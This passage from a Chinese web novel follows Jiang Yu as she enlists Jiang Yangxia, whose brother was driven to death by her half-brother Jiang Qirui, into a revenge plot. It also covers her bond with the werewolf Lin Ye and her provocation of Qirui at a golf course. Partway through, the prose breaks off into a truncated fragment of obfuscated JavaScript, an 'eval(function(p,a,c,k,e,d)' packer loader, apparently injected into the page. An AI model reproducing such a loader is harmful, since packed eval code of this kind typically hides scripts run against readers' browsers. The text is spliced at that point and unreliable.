当时姜榆在国外,对此事并不清楚,还是回国后有次男生的哥哥冲到姜家来闹事,她才偶然得知。 这么合适的盟友她当然不会放过,于是开始布局的第一件事,就是找到这个男生的哥哥——蒋阳夏。 身后突然传来动静,姜榆转身,是临野来了。他单手撑住窗沿,翻身跃进来。 见面的第一句话就是:“他问你接下来做什么?” 这个“他”说的是蒋阳夏,一周前,临野在一栋破旧居民楼里找到他,他还不到三十岁,脸上的法令纹、皱纹十分明显,有一种不符合年纪的沧桑。彼时他身上穿着一件老旧polo衫,见到临野时没有什么表情,但听到他是姜榆派来的后立刻变了脸色,说什么都不肯再见。 后来还是临野闯进他家里,硬把他拖出来,姜榆才得以和他见面。 她对他说:“敌人的敌人就是朋友,我也恨姜启瑞。蒋阳夏,你想为你弟弟报仇吗?” 蒋阳夏的父母早亡,他早早就承担了家长的重任,几乎把弟弟当成儿子在养,眼看着他就要成年,他们家要踏入新的生活,却突然出了这样的变故,他一直无法接受。 学校给出的理由是压力太大,心理承受能力差,蒋阳夏以为是自己把弟弟逼的太狠,懊悔不已,消沉了好一段时间,直到他去宿舍整理弟弟的遗物时,一位舍友偷偷告诉他,弟弟是被学校里的姜启瑞逼死的,他们嫌弟弟穷,一直欺负他。 蒋阳夏是个老实木讷的人,他从不仇富,反而对有钱人很恭敬,他羡慕敬佩这些人,觉得他们能成功一定是因为他们的能力和信念,他向往着某天自己也能达到这样的境界。 可那天,知道弟弟去世的真相后,他第一次对这些有钱人产生了愤怒怨恨的心理,有钱就可以为所欲为,有钱就可以瞧不起他们这些穷人了吗? 学校开家长会时,他见过姜启瑞,羡慕过姜家的有钱,所以这次他能轻而易举找到姜启瑞的班上,举起凳子朝正在玩闹的人砸过去:“你还我弟弟!” “你他妈干什么?!”姜启瑞反应迅速躲开,凳子砸到地上,一条腿都摔断了,可想而知他砸得有多用力。 不等蒋阳夏再次进攻,学校保安就出现把他带走了,姜家告上法庭,蒋阳夏在监狱里待了一年才出来。出来后没多久他混进姜家,可依旧还没做什么就被带走,因为私闯民宅又被拘留半个月。 他试过在网上曝光,但一直也没什么热度,也没有人关注,他没办法了,决定蛰伏起来,等待新的机会,如果他还有机会的话。 他没想到这次机会来得这么快。 蒋阳夏坐在椅子上,他第一次来咖啡厅,谨慎地只坐了半边椅子,空气中香气弥漫,他却不安地扣着手指,问道:“你也是姜家人,我怎么信你?” “不是所有家庭都像你的家庭一样和睦。姜启瑞是私生子,一回来就抢走我应得的所有,而姜山自私自利,靠卖女人来赚钱,所以我恨他们。” 姜榆平静地抛出一堆豪门密辛,惊得蒋阳夏瞪大了眼睛。 “对于你弟弟的事,我之前并不知情,不过就算知道也没法做什么,我和你一样,都是被姜家压着的人,都渴望推翻它。” “我没法承诺事成后能给你多少钱,因为到时候姜家垮了,我也会变成穷光蛋,但我能肯定的是,姜启瑞一定会得到应有的惩罚。” 她说了一大堆,蒋阳夏没回答,他端起杯子喝了口,被咖啡苦得下意识皱起脸,又迅速恢复平静。 等了会,姜榆叹了口气:“我能说的就这么多,你信不信都行,我今天是偷溜出来的,现在就要赶回去了,如果你改变主意,随时找我身旁这个人,他叫临野。” 她起身要走,突然想起什么又停下来,夹起桌子上的方糖放进蒋阳夏的杯子里:“刚才好像不小心给你错点成无糖的了,加点糖甜甜吧。” 姜榆冲他笑了下,去柜台结完账后离开。 临野送她回去,路上姜榆问他:“你觉得他会答应吗?” “他会。” “为什么?” 临野抱起她,轻松躲过美容院的工作人员,进了房间,把她放下。 “因为很动人,”他解释道,“你刚才讲的很动人,会打动他的。” 姜榆放下心来:“今天谢谢你。” 之前和美容师说好的时间马上就到了,临野嗯了一声,却没有动作。 这次出门他戴了副墨镜来遮挡眼睛,姜榆疑惑地看向他,但看不到他的眼睛,也看不出来他要干什么,不由得问出声:“……还有什么事吗?” 临野又沉默地站了一分钟,门外传来脚步声,他才离开。虽然隔着墨镜,但姜榆总觉得他走之前瞪了她一眼。 果然没多久临野就告诉她,蒋阳夏答应了,他还说自己不需要钱,只要姜启瑞受到惩罚。 姜榆让他做的第一件事就是去学校贴那张告示单,临野配合遮住监控,现在第一件事已完成,蒋阳夏看到了效果,迫不及待来催促第二件事了。 “让他把他弟弟的事情录成视频,等我通知发的时候再发。” “好。”临野答应完,撑住窗沿就要翻出去,姜榆急忙拦住他。 “等等!……你这几天怎么了?” 虽然临野一直是一副面无表情脸,但姜榆还是察觉到他的情绪不高,具体表现为每次见到她都只说最少的字,站的离她两米远,说完话立刻离开,丝毫不带留恋,好像是来完成任务一样。 她回想了下,也只能想起是从美容院离开之后,他就变成了这样子。 姜榆轻拽了下,手下的肌肉紧绷起来,本来以为拉住他会很麻烦,但没想到她一动,临野就顺势跟着动了,于是她拉着他进来坐下。 作为老板,姜榆觉得自己有必要关注一下他的情绪问题,她问:“你最近遇到什么事了吗?” 临野盯着她不说话,只是那眼神里多少带了些埋怨的意思,姜榆还是不理解,她什么都没做啊。 “没事,我要回去了。”临野掰开她的手。 分明就是有事的样子,姜榆只好又用上那招——一把抱住他。她环住临野的腰,埋进他胸膛,准备使出自己全身的力气来拦住他。 然而出乎她意料的是,临野并没有挣扎,他不仅很快就接受了她的拥抱,还立马反客为主。 带着薄茧的手掐住她的腰,姜榆短促地惊呼一声,被拎起来坐在化妆台上。 他们俩视线平齐,临野挤进她□□,暖黄色的灯光在他脸上投下阴影,他没说话,姜榆却从他眼里读出“好好记住”的信号。 面前的人突然倾身抱住她,头靠近她的颈窝,呼吸的热气顺着衣领钻进去,姜榆浑身的鸡皮疙瘩猛地冒出来。 她明白了,这几天她忘了给他拥抱。 临野好像形成了一种错误的认知:只要他答应帮姜榆做事,就会获得她的拥抱。 姜榆简直哭笑不得,这算什么,给他的奖励吗?别人公司员工要的奖励都是升职加薪,他要得奖励对她来说,也太容易了。 她曾想过,会不会换个干净的人来,临野也会喜欢她的气味和接触,但这几天观察下来,偶尔有其他人触碰到临野时,他会下意识地抗拒和远离。 于是姜榆得出结论:临野讨厌人类,不喜欢其他人的气味,却独独喜欢她的气味。 她想起来以前不知道在哪看到的说法:有些人天生招动物喜欢。也许她是中了基因彩票,气味天生能让狼人感到放松和安心,才会被他喜欢。 姜榆回抱住临野,轻声对他说:“我记住啦。” * 后来姜启瑞又在家里闹了两天,迫于金钱压力,还是不情不愿地被姜山带去医院道了歉,这事还是姜榆去喝下午茶的时候知道的。 “你们是没看到,他那不服气的样子,偏偏又得低声下气地和我哥道歉,看得那叫一个爽啊!”说话的是尤文思,她不常来参加下午茶会,只在有八卦要讲的时候才来。 姜榆刚去洗手间,她就立刻开始给其他人讲起姜启瑞给她哥道歉时的场景。 “然后呢?你哥就原谅他了?” “怎么会!”尤文思说得眉飞色舞,“我哥根本就没理他,然后他爸又道了一次歉,我哥才说得让姜启瑞发朋友圈道歉。” “嚯,他朋友圈那么多人,这不是当众打他脸吗?” “就是要打他脸,我早就看不惯姜启瑞了,他活该。” “确实,谁让他平时那么狂,得罪了不少人,要不是他爸八面玲珑一直在维持关系,姜家早就废了。” 听不到更多有价值的东西了,姜榆从拐角处走出来,有人看到她,立刻使眼色,尤文思看懂她的意思,马上闭嘴。 姜榆若无其事地坐下:“刚才聊什么呢?” “没、没什么,”尤文思掩饰道,“今天这家的甜品还不错,你尝尝?” 姜榆顺势尝了口:“嗯。对了,你哥怎么样?” “伤口不大,但是我哥晕血,一见血立马就倒了,才给人感觉很严重,没什么大事,”尤文思说起哥哥又开始滔滔不绝,“最搞笑的是,爸妈不允许我哥去酒吧,他好不容易偷偷去一次,结果就出事被发现,笑死我了。” 有人羡慕地说:“感觉你和你哥感情很好呢。” 尤文思骄傲地仰起头:“那是,我们家……” 无聊的一场下午茶很快结束,当天吃晚饭时,姜启瑞全程阴着脸,似乎随时都在爆炸的边缘。 趁着另外两人都在,姜榆不经意地提起易天川:“自从游艇回来后,已经有段时间没见到天川了。” “是啊,我也好久没见他了,”姜山点头,“改天我约个时间,大家一起见见,小鱼,你们的婚事也该排上日程了。” 姜启瑞现在听不得她结婚的事,会立刻让他联想到说他靠姐姐联姻的话,进而联想到在朋友圈发的丢人道歉,虽然最后双方各退一步,这条道歉朋友圈仅部分人可见,但还是丢脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这人有时候看起来不懂什么礼义廉耻,有时候却又莫名地在乎,姜榆无奈地关了灯,到他身边躺下。 她今天有些睡不着,一点点挪到贴着临野的位置,感受着他的体温,好像感受到了一些生气。 但即使这样,还是睡不着,姜榆睁眼看着黑暗中的天花板,突然想起在船上时,临野被关在笼子里,她摸他尾巴的画面。 她开口问:“我想问个问题。” “嗯。”临野似乎已经快睡着了,回答她的声音里带着浓重的鼻音。 “我可以看看你的尾巴吗?”她决定循序渐进,从看开始。 可惜临野毫不留情地拒绝了:“不可以。” 说起尾巴,他好像就醒了,声音也不哑了,坚定得能参军。 “那以后可以吗?” “永远不可以。” “好吧,”姜榆带着失望挪到边上,强迫自己入睡,“晚安。” 本来睡得好好的临野这下睡不着了,身侧的手握紧又放,又握紧,他不知道她为什么提出这个要求,看他出丑?嘲笑他是个怪物?他看不懂她。 姜榆睡着后不由自主地朝热源靠近,滚过来贴着他,她睡得香甜,散发着令人安心舒服的味道,临野察觉到尾巴不受控制地想冒出来,他低声咒骂一句,然后愤怒地起身,看了她一眼后,从窗户离开了。 姜榆并不知道他的纠结,睡醒来只当临野早早睡醒就走了。两天后,姜山带着她和姜启瑞一起去了高尔夫球场。 “小鱼儿,最近过得怎么样?”易天川上来就搂住她。 姜山替她回答:“她都好,好久不见,天川你最近怎么样?” 易天川这才看向他:“小鱼儿好我就好,夫妻一心嘛,是不是?” “对,对,”姜山笑道,“今天请你,就是想来聊聊你们的婚事,你看……” 他们到达了场地,易天川放开姜榆,看了眼前方的绿草地,从身边人手中拿过高尔夫球杆,说:“天气这么好,边打边聊吧。” 姜山自是满口答应,两人去了球场里。太阳太大,姜榆坐在附近的遮阳伞下看他们打球,而姜启瑞心情还没恢复,也没过去,就坐在她身边,两人谁都不搭理谁。 半晌,估摸着那边打得差不多了,姜榆先出声:“听说你在学校惹事了?还给别人发朋友圈道歉?” 姜启瑞被戳中痛处,铁青着脸:“不关你的事。” “怎么不关我的事,”姜榆笑道,“毕竟我是你姐姐,总要关心关心你的情况,说来听听吧。” “我说了,和你无关!” “小声点,别被你姐夫听到了。”姜榆指指不远处的易天川。 姜启瑞不屑一顾:“姐夫?哼,被他听到又怎么样?” “要是被他听到你是私生子还靠姐姐的话,他可就不会帮你了,”姜榆阴阳怪气地说,“毕竟天川是家里正儿八经的独生子,又靠自己的能力慢慢接管公司,他平时最看不起这类人了。” 她茶里茶气地说完,果然看到姜启瑞脸色黑得发亮,他怒而起身,掀了桌子,水果洒落一地:“姜榆!再在我面前说这些话,信不信我揍你!” 不远处姜山和易天川听到这边的动静,也往这边走。 姜榆面上装着楚楚可怜,实际语气嚣张地说:“反正天川会来保护我,要是被他看到你欺负我,到时候他可就不帮你了,私生子。” “他易天川算老几?我会怕他?!” 好巧不巧,刚走近的易天川正好听见这句话。 姜启瑞气红了眼,口不择言道:“我告诉你,不仅我不需要,我们姜家也根本不稀罕你这个婚!你和你的易天川一起滚!”